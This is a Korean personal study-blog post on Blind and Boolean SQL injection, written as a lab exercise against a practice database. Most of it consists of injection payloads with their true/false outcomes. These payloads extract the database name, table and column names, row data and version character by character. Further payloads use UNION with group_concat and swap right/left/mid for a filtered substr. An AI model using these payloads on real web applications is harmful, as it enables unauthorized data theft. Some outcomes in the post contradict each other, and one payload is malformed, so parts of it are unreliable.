kjh00n의 기록저장소
Blind SQL Injection / Boolean SQL Injection 본문
Blind SQL Injection
● 웹 서버의 보안 설정으로 기존의 SQL Injection을 통한 정보 획득이 불가능한 경우 시도할 수 있는 공격
● 에러 메시지를 통해 직접적으로 정보를 획득하지 않음
● 눈에 보이지 않기 때문에(결과값이 응답 페이지에 없음) 일일이 하나씩 유추해서 원하는 결과를 얻어야함
● 공격자가 유추한 데이터를 SQL Query에 대입하여 결과를 참/거짓으로 구분하여 데이터를 획득
특징
● 참/거짓을 구분할 수 있는 서버의 응답이 필요함
● Brute Forcing
- 한 문자씩 대입 공격을 수행함 → substring(문자, 시작위치, 크기)
- 공격의 시간이 오래 소요 됨
● 많은 양의 Log를 발생시키므로 공격횟수를 최소화 해야함
Boolean SQL Injection
실습
substr(원본데이터,시작위치,크기) = 특정 함수에서 값을 잘라주는 함수
원본데이터의 첫 글자가 'r'이라는 것을 획득
[대소문자 구분X]
Hacker가 아는 정보
SELECT ??? FROM ??? WHERE id컬럼='입력값' AND pw컬럼='입력값';
SELECT ??? FROM ??? WHERE id컬럼='' or ' # AND pw컬럼='입력값'; → ' or 값을 id컬럼에 입력
' or substr(database(),1,1)='a' # 이라는 입력은 'DB의 이름이 첫글자가 a이다' 라는 의미이다
[공격코드] → ' or substr(database(),1,1)='W' #
공격코드에 database의 이름의 첫 글자가 'W'이기에 성공
(소문자 'w'도 성공) → php에서는 대소문자 구분을 안하기 때문에 성공
[대소문자를 ASCII코드로 판별]
87은 대문자 'W' / 119는 소문자 'w'
※이전 방법처럼 일일이 값을 대조할 필요가 없다.
[공격코드]
[DB 첫번째 글자 찾기]
[공격코드] |
' or ascii(substr(database(),1,1)) >= 97 # → 거짓 ' or ascii(substr(database(),1,1)) >= 65 # → 거짓 ' or ascii(substr(database(),1,1)) > 77 # → 참 ' or ascii(substr(database(),1,1)) > 84 # → 참 ' or ascii(substr(database(),1,1)) > 87 # → 거짓 ' or ascii(substr(database(),1,1)) > 85 # → 거짓 ' or ascii(substr(database(),1,1)) > 86 # → 거짓 ' or ascii(substr(database(),1,1)) > 87 # → 참 |
[DB 두번째 글자 찾기]
[공격코드] |
' or ascii(substr(database(),2,1)) >= 87 # → 참 ' or ascii(substr(database(),2,1)) > 99 # → 참 ' or ascii(substr(database(),2,1)) > 100 # → 참 ' or ascii(substr(database(),2,1)) > 102 # → 거짓 ' or ascii(substr(database(),2,1)) > 101 # → 참 |
' or ascii(substr(database(),8,1)) >= 97 # ' or ascii(substr(database(),8,1)) >= 65 # ' or ascii(substr(database(),8,1)) >= 49 # 위 코드도 아니면 값이 없다고 판단해라 ' or ascii(substr(database(),8,1)) = 0 # 는 글자가 NULL값이라는 거다 |
97은 a 65는 A 49는 1 33~47은 특수문자 |
[Table 이름 찾기]
[SQL문] |
SELECT table_name from information_schema.tables WHERE table_schema='WebTest'; |
[공격기법] |
WebTest DB의 첫번째 Table의 글자 찾기 (board 테이블) |
' or ascii(substr((select table_name from information_schema.tables where table_schema='WebTest' limit 0,1),1,1)) >= 97 # |
WebTest DB의 두번째 Table의 글자 찾기 (member 테이블) |
' or ascii(substr((select table_name from information_schema.tables where table_schema='WebTest' limit 1,1),1,1)) >= 97 # |
[Column 이름 찾기]
원하는 DB의 원하는 Table의 첫번째 Column의 이름을 알아내는 공격
[SQL문] |
select column_name from information_schema.columns where table_schema='WebTest' and table_name='member' limit 0,1; |
[공격코드] |
' or ascii(substr((select column_name from information_schema.columns where table_schema='WebTest' and table_name='member' limit 0,1),1,1)) >= 97 # → 참(소문자) ' or ascii(substr((select column_name from information_schema.columns where table_schema='WebTest' and table_name='member' limit 0,1),1,1)) > 110 # → 거짓 ' or ascii(substr((select column_name from information_schema.columns where table_schema='WebTest' and table_name='member' limit 0,1),1,1)) > 105 # → 참 ' or ascii(substr((select column_name from information_schema.columns where table_schema='WebTest' and table_name='member' limit 0,1),1,1)) > 108 # → 참 ' or ascii(substr((select column_name from information_schema.columns where table_schema='WebTest' and table_name='member' limit 0,1),1,1)) = 109 # → 거짓 ' or ascii(substr((select column_name from information_schema.columns where table_schema='WebTest' and table_name='member' limit 0,1),1,1)) = 110 # → 참('n') |
[Data 찾기]
원하는 DB의 원하는 Table의 원하는 데이터를 알아내기
[SQL문] |
select u_id from member where no=1; |
[공격코드] |
' or ascii(substr((select u_id from member where no=1)1,1)) >= 97 # → 참(소문자) 이런 방식으로 알아내면 된다~ |
[번외]
[DB글자 길이로 판단]
[공격기법] |
' or length(database()) = '7' # |
[DB 버전 찾기]
[첫번째 글자 찾기]
[공격기법] |
' or ascii(substr(version(),1,1)) >= 97 # → 거짓 ' or ascii(substr(version(),1,1)) >= 65 # → 거짓 ' or ascii(substr(version(),1,1)) >= 49 # → 거짓 ' or ascii(substr(version(),1,1)) > 54 # → 거짓 ' or ascii(substr(version(),1,1)) > 51 # → 거짓 ' or ascii(substr(version(),1,1)) > 49 # → 거짓 ' or ascii(substr(version(),1,1)) = 49 # → 참 |
[세번째 글자 찾기]
[공격기법] |
' or ascii(substr(version(),3,1)) >= 49 # → 거짓 ' or ascii(substr(version(),3,1)) >= 97 # → 거짓 ' or ascii(substr(version(),3,1)) >= 65 # → 거짓 ' or ascii(substr(version(),3,1)) = 0 # → 거짓 ' or ascii(substr(version(),3,1)) = 46 # → 참 |
[공격 팁]
1. 알아내고자 하는 데이터 길이 확인
● length(원본데이터)
2. 여러 행에서 출력되는 같은 컬럼의 데이터를 한번에 붙여서 출력
● group_concat(이름)
[공격기법] |
-1 union select 1,2,3,4,5,group_concat(table_name),7,8,9,10,11 from information_schema.tables where table_schema='WebTest' # |
[공격기법] |
-1 union select 1,2,3,4,5,group_concat(column_name),7,8,9,10,11 from information_schema.columns where table_name='board' # |
3. Blind SQL Injection 수행 시 꼭 필요한 함수 → substr() → substr이 필터링되어 사용못하는 경우
● right(left(원본데이터,숫자),숫자);
right(left(database(),1),1); |
left(database(),1)의 결과는 'W'가 출력되고 left(database(),2)의 결과는 'We'가 출력된다. right(database(),1)의 결과는 't'가 출력되고 right(database(),2)의 결과는 'st'가 출력된다. right(left(database(),1),1)는 left의 출력결과에서 오른쪽에서 1글자를 가져온 'W'가 출력된다. right(left(database(),7),3)은 left의 출력결과인 'WebTest'에서 오른쪽부터 3글자인 'est'를 출력한다. |
● mid(원본데이터,시작위치,가져올데이터 크기);
'어플리케이션 보안 운영' 카테고리의 다른 글
Directory Listing 취약점 (0) | 2025.01.10 |
---|---|
Time Based SQL Injection (0) | 2025.01.10 |
Non Blind SQL Injection 공격 기법 및 데이터베이스 정보 추출 (0) | 2025.01.09 |
SQL Injection (1) | 2025.01.08 |
CSRF (0) | 2025.01.07 |